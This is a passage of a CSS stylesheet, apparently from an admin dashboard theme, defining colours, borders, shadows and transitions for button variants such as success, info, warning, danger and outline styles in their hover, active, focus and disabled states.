#028ee1;\n}\n.btn-themecolor:focus {\n  background: #028ee1;\n}\n.btn-themecolor.disabled {\n  background: #1976d2;\n  color: #ffffff;\n  border: 1px solid #1976d2;\n}\n.btn-themecolor.disabled:hover {\n  background: #1976d2;\n  opacity: 0.7;\n  border: 1px solid #1976d2;\n}\n.btn-themecolor.disabled:active {\n  background: #028ee1;\n}\n.btn-themecolor.disabled:focus {\n  background: #028ee1;\n}\n.btn-themecolor.active {\n  background: #028ee1;\n}\n.btn-themecolor.disabled.active {\n  background: #028ee1;\n}\n.btn-success {\n  background: #26dad2;\n  border: 1px solid #26dad2;\n  -webkit-box-shadow: 0 2px 2px 0 rgba(40, 190, 189, 0.14), 0 3px 1px -2px rgba(40, 190, 189, 0.2), 0 1px 5px 0 rgba(40, 190, 189, 0.12);\n  box-shadow: 0 2px 2px 0 rgba(40, 190, 189, 0.14), 0 3px 1px -2px rgba(40, 190, 189, 0.2), 0 1px 5px 0 rgba(40, 190, 189, 0.12);\n  -webkit-transition: 0.2s ease-in;\n  -o-transition: 0.2s ease-in;\n  transition: 0.2s ease-in;\n}\n.btn-success:hover {\n  background: #26dad2;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n  border: 1px solid #26dad2;\n}\n.btn-success:active {\n  background: #1eacbe;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n}\n.btn-success:active:focus {\n  background-color: #1eacbe;\n  border: 1px solid #1eacbe;\n}\n.btn-success:active:hover {\n  background-color: #1eacbe;\n  border: 1px solid #1eacbe;\n}\n.btn-success:focus {\n  background: #1eacbe;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n  background-color: #1eacbe;\n  border: 1px solid #1eacbe;\n}\n.btn-success.disabled {\n  background: #26dad2;\n  border: 1px solid #26dad2;\n  -webkit-box-shadow: 0 2px 2px 0 rgba(40, 190, 189, 0.14), 0 3px 1px -2px rgba(40, 190, 189, 0.2), 0 1px 5px 0 rgba(40, 190, 189, 0.12);\n  box-shadow: 0 2px 2px 0 rgba(40, 190, 189, 0.14), 0 3px 1px -2px rgba(40, 190, 189, 0.2), 0 1px 5px 0 rgba(40, 190, 189, 0.12);\n  -webkit-transition: 0.2s ease-in;\n  -o-transition: 0.2s ease-in;\n  transition: 0.2s ease-in;\n}\n.btn-success.disabled:hover {\n  background: #26dad2;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n  border: 1px solid #26dad2;\n}\n.btn-success.disabled:active {\n  background: #1eacbe;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n}\n.btn-success.disabled:focus {\n  background: #1eacbe;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n}\n.btn-success.active {\n  background: #1eacbe;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n}\n.btn-success.active:focus {\n  background-color: #1eacbe;\n  border: 1px solid #1eacbe;\n}\n.btn-success.active:hover {\n  background-color: #1eacbe;\n  border: 1px solid #1eacbe;\n}\n.btn-success.disabled.active {\n  background: #1eacbe;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n}\n.btn-info {\n  background: #1976d2;\n  border: 1px solid #1976d2;\n  -webkit-box-shadow: 0 2px 2px 0 rgba(66, 165, 245, 0.14), 0 3px 1px -2px rgba(66, 165, 245, 0.2), 0 1px 5px 0 rgba(66, 165, 245, 0.12);\n  box-shadow: 0 2px 2px 0 rgba(66, 165, 245, 0.14), 0 3px 1px -2px rgba(66, 165, 245, 0.2), 0 1px 5px 0 rgba(66, 165, 245, 0.12);\n  -webkit-transition: 0.2s ease-in;\n  -o-transition: 0.2s ease-in;\n  transition: 0.2s ease-in;\n}\n.btn-info:hover {\n  background: #1976d2;\n  border: 1px solid #1976d2;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n}\n.btn-info:active {\n  background: #028ee1;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n}\n.btn-info:active:focus {\n  background-color: #028ee1;\n  border: 1px solid #028ee1;\n}\n.btn-info:active:hover {\n  background-color: #028ee1;\n  border: 1px solid #028ee1;\n}\n.btn-info:focus {\n  background: #028ee1;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n  background-color: #028ee1;\n  border: 1px solid #028ee1;\n}\n.btn-info.disabled {\n  background: #1976d2;\n  border: 1px solid #1976d2;\n  -webkit-box-shadow: 0 2px 2px 0 rgba(66, 165, 245, 0.14), 0 3px 1px -2px rgba(66, 165, 245, 0.2), 0 1px 5px 0 rgba(66, 165, 245, 0.12);\n  box-shadow: 0 2px 2px 0 rgba(66, 165, 245, 0.14), 0 3px 1px -2px rgba(66, 165, 245, 0.2), 0 1px 5px 0 rgba(66, 165, 245, 0.12);\n  -webkit-transition: 0.2s ease-in;\n  -o-transition: 0.2s ease-in;\n  transition: 0.2s ease-in;\n}\n.btn-info.disabled:hover {\n  background: #1976d2;\n  border: 1px solid #1976d2;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n}\n.btn-info.disabled:active {\n  background: #028ee1;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n}\n.btn-info.disabled:focus {\n  background: #028ee1;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n}\n.btn-info.active {\n  background: #028ee1;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n}\n.btn-info.active:focus {\n  background-color: #028ee1;\n  border: 1px solid #028ee1;\n}\n.btn-info.active:hover {\n  background-color: #028ee1;\n  border: 1px solid #028ee1;\n}\n.btn-info.disabled.active {\n  background: #028ee1;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n}\n.btn-warning {\n  background: #ffb22b;\n  -webkit-box-shadow: 0 2px 2px 0 rgba(248, 194, 0, 0.14), 0 3px 1px -2px rgba(248, 194, 0, 0.2), 0 1px 5px 0 rgba(248, 194, 0, 0.12);\n  box-shadow: 0 2px 2px 0 rgba(248, 194, 0, 0.14), 0 3px 1px -2px rgba(248, 194, 0, 0.2), 0 1px 5px 0 rgba(248, 194, 0, 0.12);\n  border: 1px solid #ffb22b;\n  -webkit-transition: 0.2s ease-in;\n  -o-transition: 0.2s ease-in;\n  transition: 0.2s ease-in;\n  color: #ffffff;\n}\n.btn-warning:hover {\n  background: #ffb22b;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n  border: 1px solid #ffb22b;\n}\n.btn-warning:active {\n  background: #e9ab2e;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n}\n.btn-warning:active:focus {\n  background-color: #e9ab2e;\n  border: 1px solid #e9ab2e;\n}\n.btn-warning:active:hover {\n  background-color: #e9ab2e;\n  border: 1px solid #e9ab2e;\n}\n.btn-warning:focus {\n  background: #e9ab2e;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n  background-color: #e9ab2e;\n  border: 1px solid #e9ab2e;\n}\n.btn-warning.disabled {\n  background: #ffb22b;\n  -webkit-box-shadow: 0 2px 2px 0 rgba(248, 194, 0, 0.14), 0 3px 1px -2px rgba(248, 194, 0, 0.2), 0 1px 5px 0 rgba(248, 194, 0, 0.12);\n  box-shadow: 0 2px 2px 0 rgba(248, 194, 0, 0.14), 0 3px 1px -2px rgba(248, 194, 0, 0.2), 0 1px 5px 0 rgba(248, 194, 0, 0.12);\n  border: 1px solid #ffb22b;\n  -webkit-transition: 0.2s ease-in;\n  -o-transition: 0.2s ease-in;\n  transition: 0.2s ease-in;\n  color: #ffffff;\n}\n.btn-warning.disabled:hover {\n  background: #ffb22b;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n  border: 1px solid #ffb22b;\n}\n.btn-warning.disabled:active {\n  background: #e9ab2e;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n}\n.btn-warning.disabled:focus {\n  background: #e9ab2e;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n}\n.btn-warning.active {\n  background: #e9ab2e;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n}\n.btn-warning.active:focus {\n  background-color: #e9ab2e;\n  border: 1px solid #e9ab2e;\n}\n.btn-warning.active:hover {\n  background-color: #e9ab2e;\n  border: 1px solid #e9ab2e;\n}\n.btn-warning.disabled.active {\n  background: #e9ab2e;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n}\n.btn-danger {\n  background: #ef5350;\n  border: 1px solid #ef5350;\n  -webkit-box-shadow: 0 2px 2px 0 rgba(239, 83, 80, 0.14), 0 3px 1px -2px rgba(239, 83, 80, 0.2), 0 1px 5px 0 rgba(239, 83, 80, 0.12);\n  box-shadow: 0 2px 2px 0 rgba(239, 83, 80, 0.14), 0 3px 1px -2px rgba(239, 83, 80, 0.2), 0 1px 5px 0 rgba(239, 83, 80, 0.12);\n  -webkit-transition: 0.2s ease-in;\n  -o-transition: 0.2s ease-in;\n  transition: 0.2s ease-in;\n}\n.btn-danger:hover {\n  background: #ef5350;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  border: 1px solid #ef5350;\n}\n.btn-danger:active {\n  background: #e6294b;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n}\n.btn-danger:active:focus {\n  background-color: #e6294b;\n  border: 1px solid #e6294b;\n}\n.btn-danger:active:hover {\n  background-color: #e6294b;\n  border: 1px solid #e6294b;\n}\n.btn-danger:focus {\n  background: #e6294b;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  background-color: #e6294b;\n  border: 1px solid #e6294b;\n}\n.btn-danger.disabled {\n  background: #ef5350;\n  border: 1px solid #ef5350;\n  -webkit-box-shadow: 0 2px 2px 0 rgba(239, 83, 80, 0.14), 0 3px 1px -2px rgba(239, 83, 80, 0.2), 0 1px 5px 0 rgba(239, 83, 80, 0.12);\n  box-shadow: 0 2px 2px 0 rgba(239, 83, 80, 0.14), 0 3px 1px -2px rgba(239, 83, 80, 0.2), 0 1px 5px 0 rgba(239, 83, 80, 0.12);\n  -webkit-transition: 0.2s ease-in;\n  -o-transition: 0.2s ease-in;\n  transition: 0.2s ease-in;\n}\n.btn-danger.disabled:hover {\n  background: #ef5350;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  border: 1px solid #ef5350;\n}\n.btn-danger.disabled:active {\n  background: #e6294b;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n}\n.btn-danger.disabled:focus {\n  background: #e6294b;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n}\n.btn-danger.active {\n  background: #e6294b;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n}\n.btn-danger.active:focus {\n  background-color: #e6294b;\n  border: 1px solid #e6294b;\n}\n.btn-danger.active:hover {\n  background-color: #e6294b;\n  border: 1px solid #e6294b;\n}\n.btn-danger.disabled.active {\n  background: #e6294b;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n}\n.btn-inverse {\n  background: #2f3d4a;\n  border: 1px solid #2f3d4a;\n  color: #ffffff;\n}\n.btn-inverse:hover {\n  background: #2f3d4a;\n  opacity: 0.7;\n  color: #ffffff;\n  border: 1px solid #2f3d4a;\n  background-color: #232a37;\n  border: 1px solid #232a37;\n}\n.btn-inverse:active {\n  background: #232a37;\n  color: #ffffff;\n  background-color: #232a37;\n  border: 1px solid #232a37;\n}\n.btn-inverse:focus {\n  background: #232a37;\n  color: #ffffff;\n  background-color: #232a37;\n  border: 1px solid #232a37;\n}\n.btn-inverse.disabled {\n  background: #2f3d4a;\n  border: 1px solid #2f3d4a;\n  color: #ffffff;\n}\n.btn-inverse.disabled:hover {\n  background: #2f3d4a;\n  opacity: 0.7;\n  color: #ffffff;\n  border: 1px solid #2f3d4a;\n}\n.btn-inverse.disabled:active {\n  background: #232a37;\n  color: #ffffff;\n}\n.btn-inverse.disabled:focus {\n  background: #232a37;\n  color: #ffffff;\n}\n.btn-inverse.active {\n  background: #232a37;\n  color: #ffffff;\n  background-color: #232a37;\n  border: 1px solid #232a37;\n}\n.btn-inverse.disabled.active {\n  background: #232a37;\n  color: #ffffff;\n}\n.btn-red {\n  background: #fb3a3a;\n  border: 1px solid #fb3a3a;\n  color: #ffffff;\n}\n.btn-red:hover {\n  opacity: 0.7;\n  border: 1px solid #fb3a3a;\n  background: #fb3a3a;\n  background-color: #d61f1f;\n  border: 1px solid #d61f1f;\n  color: #ffffff;\n}\n.btn-red:active {\n  background: #e6294b;\n  background-color: #d61f1f;\n  border: 1px solid #d61f1f;\n  color: #ffffff;\n}\n.btn-red:focus {\n  background: #e6294b;\n  background-color: #d61f1f;\n  border: 1px solid #d61f1f;\n  color: #ffffff;\n}\n.btn-red.disabled {\n  background: #fb3a3a;\n  border: 1px solid #fb3a3a;\n  color: #ffffff;\n}\n.btn-red.disabled:hover {\n  opacity: 0.7;\n  border: 1px solid #fb3a3a;\n  background: #fb3a3a;\n}\n.btn-red.disabled:active {\n  background: #e6294b;\n}\n.btn-red.disabled:focus {\n  background: #e6294b;\n}\n.btn-red.active {\n  background: #e6294b;\n  background-color: #d61f1f;\n  border: 1px solid #d61f1f;\n  color: #ffffff;\n}\n.btn-red.disabled.active {\n  background: #e6294b;\n}\n.btn-outline-secondary {\n  background-color: #ffffff;\n  -webkit-box-shadow: 0 2px 2px 0 rgba(169, 169, 169, 0.14), 0 3px 1px -2px rgba(169, 169, 169, 0.2), 0 1px 5px 0 rgba(169, 169, 169, 0.12);\n  box-shadow: 0 2px 2px 0 rgba(169, 169, 169, 0.14), 0 3px 1px -2px rgba(169, 169, 169, 0.2), 0 1px 5px 0 rgba(169, 169, 169, 0.12);\n  -webkit-transition: 0.2s ease-in;\n  -o-transition: 0.2s ease-in;\n  transition: 0.2s ease-in;\n}\n.btn-outline-secondary:focus {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n}\n.btn-outline-secondary:hover {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n}\n.btn-outline-secondary:active {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n}\n.btn-outline-secondary.focus {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n}\n.btn-outline-secondary.active {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n}\n.btn-outline-primary {\n  color: #5c4ac7;\n  background-color: #ffffff;\n  border-color: #5c4ac7;\n  -webkit-box-shadow: 0 2px 2px 0 rgba(116, 96, 238, 0.14), 0 3px 1px -2px rgba(116, 96, 238, 0.2), 0 1px 5px 0 rgba(116, 96, 238, 0.12);\n  box-shadow: 0 2px 2px 0 rgba(116, 96, 238, 0.14), 0 3px 1px -2px rgba(116, 96, 238, 0.2), 0 1px 5px 0 rgba(116, 96, 238, 0.12);\n  -webkit-transition: 0.2s ease-in;\n  -o-transition: 0.2s ease-in;\n  transition: 0.2s ease-in;\n}\n.btn-outline-primary:focus {\n  background: #5c4ac7;\n  color: #ffffff;\n  border-color: #5c4ac7;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  background: #6352ce;\n}\n.btn-outline-primary:hover {\n  background: #5c4ac7;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  color: #ffffff;\n  border-color: #5c4ac7;\n}\n.btn-outline-primary:active {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  background: #6352ce;\n}\n.btn-outline-primary.focus {\n  background: #5c4ac7;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  color: #ffffff;\n  border-color: #5c4ac7;\n}\n.btn-outline-primary.active {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  background: #6352ce;\n}\n.btn-outline-success {\n  color: #26dad2;\n  background-color: transparent;\n  border-color: #26dad2;\n  -webkit-box-shadow: 0 2px 2px 0 rgba(40, 190, 189, 0.14), 0 3px 1px -2px rgba(40, 190, 189, 0.2), 0 1px 5px 0 rgba(40, 190, 189, 0.12);\n  box-shadow: 0 2px 2px 0 rgba(40, 190, 189, 0.14), 0 3px 1px -2px rgba(40, 190, 189, 0.2), 0 1px 5px 0 rgba(40, 190, 189, 0.12);\n  -webkit-transition: 0.2s ease-in;\n  -o-transition: 0.2s ease-in;\n  transition: 0.2s ease-in;\n}\n.btn-outline-success:focus {\n  background: #26dad2;\n  border-color: #26dad2;\n  color: 